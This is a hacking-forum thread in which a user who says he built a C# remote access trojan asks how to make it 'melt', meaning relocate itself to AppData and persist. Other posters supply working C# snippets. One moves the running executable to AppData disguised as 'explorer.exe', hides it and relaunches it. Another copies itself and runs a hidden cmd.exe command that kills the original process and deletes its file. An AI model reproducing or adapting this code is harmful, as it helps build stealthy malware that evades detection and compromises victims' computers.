[Daaksin]

So I've put together my own C# RAT and it works. It connects back to me and the like. Now I want to make it melt to %appdata%. When I say melt, I mean on execute it moves itself to the directory and adds a startup key of itself to the registry. Can someone teach me a method of doing this?

Long answers please, with detail, make sure you read my question...

-Daaksin

[JeromeMarshall]

Long answers please, with detail, make sure you read my question...

This is the long version;

MoveFileEx, with MOVEFILE_REPLACE_EXISTING flag.

[Daaksin]

You can do this in three lines, but...

Spoiler (Click to View)

PHP Code


<?php 
private static void Melt()
{
    try {
        string myProc = Process.GetCurrentProcess().MainModule.FileName();
        string patH = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\explorer.exe";
        File.Delete(patH);
        File.Move(myProc, patH);
        Process.Start(patH);
        File.SetAttributes(patH, FileAttributes.Hidden);
        ProjectData.EndApp();
    } catch (Exception ex) {
    }
} 


Hey thanks!
Dude, this is exactly what I want! Vouch from Daaksin!
Thanks again, man.

-Daaksin

[Birds]

Use File.Copy and then write a temp file with current executing path. Run the program you copied to appdata then exit current. Then when the file starts make it read the temp file and delete that file path

[Daaksin]

You know you can just use File.Move to move the current file right?

Uhmmm, no. No you can't.

[Daaksin]

Code

private void button1_Click(object sender, EventArgs e)
{
    MoveSelf(@"C:\" + Path.GetFileName(Application.ExecutablePath));
}

private void MoveSelf(string newLocation)
{
    byte[] data;
    using (FileStream FS = new FileStream(Application.ExecutablePath, FileMode.Open, FileAccess.Read, FileShare.Read))
    {
        data = new byte[FS.Length];
        FS.Read(data, 0, (int)FS.Length);
    }
    File.WriteAllBytes(newLocation, data);

    ProcessStartInfo procInfo = new ProcessStartInfo("cmd.exe", "/c taskkill /F /PID " + Process.GetCurrentProcess().Id + " && ping 127.0.0.1 /n 2 && del /f/q \"" + Application.ExecutablePath + "\"");
    procInfo.WindowStyle = ProcessWindowStyle.Hidden;
    Process.Start(procInfo);
}

Wow! Hahaha! I wasn't expecting that!
Thanks!

-Daaksin